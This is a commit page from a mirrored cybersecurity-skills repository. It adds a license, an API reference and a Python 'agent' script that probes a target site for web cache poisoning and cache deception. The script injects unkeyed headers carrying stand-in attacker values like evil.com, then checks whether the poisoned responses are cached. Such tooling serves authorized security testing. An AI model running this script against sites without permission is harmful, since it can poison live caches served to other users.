mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-16 12:45:17 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,61 @@
|
||||
# API Reference: Web Cache Poisoning Attack Agent
|
||||
|
||||
## Overview
|
||||
|
||||
Tests web applications for cache poisoning vulnerabilities by identifying CDN infrastructure, testing unkeyed headers for reflection and caching, and checking for cache deception paths.
|
||||
|
||||
## Dependencies
|
||||
|
||||
| Package | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| requests | >= 2.28 | HTTP requests with custom headers |
|
||||
|
||||
## Core Functions
|
||||
|
||||
### `identify_cache_layer(target_url)`
|
||||
Detects caching infrastructure (Cloudflare, Varnish, Akamai, Fastly, CloudFront) from response headers.
|
||||
- **Returns**: `dict` with `cdn_detected`, cache headers
|
||||
|
||||
### `test_cache_hit_miss(target_url)`
|
||||
Sends 3 sequential requests with cache buster to observe HIT/MISS progression.
|
||||
- **Returns**: `dict` with per-request cache status
|
||||
|
||||
### `test_unkeyed_headers(target_url)`
|
||||
Tests 10 common unkeyed headers (X-Forwarded-Host, X-Original-URL, etc.) for reflection and cache poisoning.
|
||||
- **Process**: Send header -> check reflection -> re-request without header -> verify cached poison
|
||||
- **Returns**: `list[dict]` with `reflected`, `cached_poison`, `risk`
|
||||
|
||||
### `test_cache_key_normalization(target_url)`
|
||||
Tests cache key handling for extra parameters, fragments, and trailing slashes.
|
||||
- **Returns**: `list[dict]` - variation test results
|
||||
|
||||
### `test_cache_deception(target_url)`
|
||||
Tests web cache deception by requesting authenticated pages with static file extensions (.css, .js, .png).
|
||||
- **Returns**: `list[dict]` - cached sensitive endpoints
|
||||
|
||||
### `run_assessment(target_url)`
|
||||
Full assessment pipeline with summary statistics.
|
||||
|
||||
## Unkeyed Headers Tested
|
||||
|
||||
| Header | Attack Vector |
|
||||
|--------|--------------|
|
||||
| X-Forwarded-Host | Host override for poisoning links/redirects |
|
||||
| X-Forwarded-Scheme | HTTPS downgrade to HTTP |
|
||||
| X-Original-URL | Path override (Nginx/IIS) |
|
||||
| X-Rewrite-URL | Path override |
|
||||
| X-Host | Alternative host injection |
|
||||
| X-Forwarded-Port | Port injection |
|
||||
|
||||
## Risk Levels
|
||||
|
||||
| Level | Criteria |
|
||||
|-------|----------|
|
||||
| CRITICAL | Header reflected AND cached (full cache poison) |
|
||||
| HIGH | Header reflected but not confirmed cached |
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
python agent.py https://target.example.com
|
||||
```
|
||||
@@ -0,0 +1,219 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Web cache poisoning assessment agent using requests and subprocess."""
|
||||
|
||||
import sys
|
||||
import json
|
||||
import hashlib
|
||||
import time
|
||||
import random
|
||||
import string
|
||||
|
||||
try:
|
||||
import requests
|
||||
from requests.exceptions import RequestException
|
||||
except ImportError:
|
||||
print("Install: pip install requests")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def generate_cache_buster():
|
||||
"""Generate a unique cache buster parameter."""
|
||||
return "cb" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
|
||||
|
||||
|
||||
def identify_cache_layer(target_url):
|
||||
"""Identify caching infrastructure from response headers."""
|
||||
try:
|
||||
resp = requests.get(target_url, timeout=10, verify=False)
|
||||
except RequestException as e:
|
||||
return {"error": str(e)}
|
||||
headers = dict(resp.headers)
|
||||
cache_info = {
|
||||
"url": target_url,
|
||||
"cache_control": headers.get("Cache-Control", ""),
|
||||
"x_cache": headers.get("X-Cache", ""),
|
||||
"cf_cache_status": headers.get("CF-Cache-Status", ""),
|
||||
"age": headers.get("Age", ""),
|
||||
"vary": headers.get("Vary", ""),
|
||||
"x_varnish": headers.get("X-Varnish", ""),
|
||||
"via": headers.get("Via", ""),
|
||||
"x_served_by": headers.get("X-Served-By", ""),
|
||||
"cdn_detected": None,
|
||||
}
|
||||
header_text = json.dumps(headers).lower()
|
||||
if "cloudflare" in header_text or cache_info["cf_cache_status"]:
|
||||
cache_info["cdn_detected"] = "Cloudflare"
|
||||
elif "varnish" in header_text:
|
||||
cache_info["cdn_detected"] = "Varnish"
|
||||
elif "akamai" in header_text:
|
||||
cache_info["cdn_detected"] = "Akamai"
|
||||
elif "fastly" in header_text:
|
||||
cache_info["cdn_detected"] = "Fastly"
|
||||
elif "x-amz" in header_text:
|
||||
cache_info["cdn_detected"] = "AWS CloudFront"
|
||||
return cache_info
|
||||
|
||||
|
||||
def test_cache_hit_miss(target_url):
|
||||
"""Determine if responses are being cached by comparing repeated requests."""
|
||||
cb = generate_cache_buster()
|
||||
test_url = f"{target_url}?{cb}=1"
|
||||
results = []
|
||||
for i in range(3):
|
||||
try:
|
||||
resp = requests.get(test_url, timeout=10, verify=False)
|
||||
results.append({
|
||||
"request": i + 1,
|
||||
"x_cache": resp.headers.get("X-Cache", ""),
|
||||
"cf_cache": resp.headers.get("CF-Cache-Status", ""),
|
||||
"age": resp.headers.get("Age", ""),
|
||||
"status": resp.status_code,
|
||||
})
|
||||
except RequestException:
|
||||
pass
|
||||
time.sleep(1)
|
||||
return {"test_url": test_url, "results": results}
|
||||
|
||||
|
||||
def test_unkeyed_headers(target_url):
|
||||
"""Test for unkeyed headers that are reflected in cached responses."""
|
||||
cb = generate_cache_buster()
|
||||
base_url = f"{target_url}?{cb}=1"
|
||||
unkeyed_headers = [
|
||||
("X-Forwarded-Host", "evil.com"),
|
||||
("X-Forwarded-Scheme", "http"),
|
||||
("X-Forwarded-Proto", "http"),
|
||||
("X-Original-URL", "/admin"),
|
||||
("X-Rewrite-URL", "/admin"),
|
||||
("X-Host", "evil.com"),
|
||||
("X-Forwarded-Server", "evil.com"),
|
||||
("X-Forwarded-Port", "1337"),
|
||||
("X-Original-Host", "evil.com"),
|
||||
("Transfer-Encoding", "chunked"),
|
||||
]
|
||||
findings = []
|
||||
for header_name, header_value in unkeyed_headers:
|
||||
cb = generate_cache_buster()
|
||||
test_url = f"{target_url}?{cb}=1"
|
||||
try:
|
||||
resp = requests.get(
|
||||
test_url, headers={header_name: header_value},
|
||||
timeout=10, verify=False
|
||||
)
|
||||
if header_value in resp.text:
|
||||
poisoned_resp = requests.get(test_url, timeout=10, verify=False)
|
||||
cached_poison = header_value in poisoned_resp.text
|
||||
findings.append({
|
||||
"header": header_name,
|
||||
"value": header_value,
|
||||
"reflected": True,
|
||||
"cached_poison": cached_poison,
|
||||
"risk": "CRITICAL" if cached_poison else "HIGH",
|
||||
})
|
||||
except RequestException:
|
||||
pass
|
||||
return findings
|
||||
|
||||
|
||||
def test_cache_key_normalization(target_url):
|
||||
"""Test cache key normalization issues."""
|
||||
cb = generate_cache_buster()
|
||||
tests = []
|
||||
variations = [
|
||||
(f"{target_url}?{cb}=1", "Original"),
|
||||
(f"{target_url}?{cb}=1&utm_source=test", "Extra parameter"),
|
||||
(f"{target_url}?{cb}=1#fragment", "Fragment"),
|
||||
(f"{target_url}/?{cb}=1", "Trailing slash"),
|
||||
]
|
||||
for url, desc in variations:
|
||||
try:
|
||||
resp = requests.get(url, timeout=10, verify=False)
|
||||
tests.append({
|
||||
"variation": desc, "url": url,
|
||||
"status": resp.status_code,
|
||||
"x_cache": resp.headers.get("X-Cache", ""),
|
||||
"content_length": len(resp.content),
|
||||
})
|
||||
except RequestException:
|
||||
pass
|
||||
return tests
|
||||
|
||||
|
||||
def test_cache_deception(target_url):
|
||||
"""Test for web cache deception vulnerabilities."""
|
||||
cb = generate_cache_buster()
|
||||
deception_paths = [
|
||||
"/account/profile.css",
|
||||
"/api/user.js",
|
||||
"/settings.png",
|
||||
"/dashboard/nonexistent.css",
|
||||
]
|
||||
findings = []
|
||||
for path in deception_paths:
|
||||
test_url = f"{target_url.rstrip('/')}{path}?{cb}=1"
|
||||
try:
|
||||
resp = requests.get(test_url, timeout=10, verify=False)
|
||||
cache_status = resp.headers.get("X-Cache", resp.headers.get("CF-Cache-Status", ""))
|
||||
if "HIT" in cache_status.upper() or resp.headers.get("Age"):
|
||||
findings.append({
|
||||
"path": path,
|
||||
"cached": True,
|
||||
"status": resp.status_code,
|
||||
"content_type": resp.headers.get("Content-Type", ""),
|
||||
"risk": "HIGH",
|
||||
})
|
||||
except RequestException:
|
||||
pass
|
||||
return findings
|
||||
|
||||
|
||||
def run_assessment(target_url):
|
||||
"""Full web cache poisoning assessment."""
|
||||
report = {
|
||||
"target": target_url,
|
||||
"cache_layer": identify_cache_layer(target_url),
|
||||
"cache_behavior": test_cache_hit_miss(target_url),
|
||||
"unkeyed_headers": test_unkeyed_headers(target_url),
|
||||
"key_normalization": test_cache_key_normalization(target_url),
|
||||
"cache_deception": test_cache_deception(target_url),
|
||||
}
|
||||
critical_count = sum(
|
||||
1 for f in report["unkeyed_headers"] if f.get("risk") == "CRITICAL"
|
||||
)
|
||||
high_count = sum(
|
||||
1 for f in report["unkeyed_headers"] if f.get("risk") == "HIGH"
|
||||
) + len(report["cache_deception"])
|
||||
report["summary"] = {
|
||||
"cdn": report["cache_layer"].get("cdn_detected", "Unknown"),
|
||||
"critical_findings": critical_count,
|
||||
"high_findings": high_count,
|
||||
"poisonable_headers": [f["header"] for f in report["unkeyed_headers"] if f.get("cached_poison")],
|
||||
}
|
||||
return report
|
||||
|
||||
|
||||
def print_report(report):
|
||||
print("Web Cache Poisoning Assessment")
|
||||
print("=" * 50)
|
||||
print(f"Target: {report['target']}")
|
||||
print(f"CDN: {report['summary']['cdn']}")
|
||||
print(f"Critical: {report['summary']['critical_findings']}")
|
||||
print(f"High: {report['summary']['high_findings']}")
|
||||
if report["summary"]["poisonable_headers"]:
|
||||
print(f"\nPoisonable Headers:")
|
||||
for h in report["summary"]["poisonable_headers"]:
|
||||
print(f" - {h}")
|
||||
print(f"\nUnkeyed Header Tests:")
|
||||
for f in report["unkeyed_headers"]:
|
||||
status = "POISON" if f.get("cached_poison") else ("REFLECTED" if f.get("reflected") else "SAFE")
|
||||
print(f" {f['header']}: {status} [{f.get('risk', 'N/A')}]")
|
||||
if report["cache_deception"]:
|
||||
print(f"\nCache Deception:")
|
||||
for f in report["cache_deception"]:
|
||||
print(f" {f['path']}: CACHED ({f['content_type']})")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
|
||||
result = run_assessment(target)
|
||||
print_report(result)
|
||||
Reference in New Issue
Block a user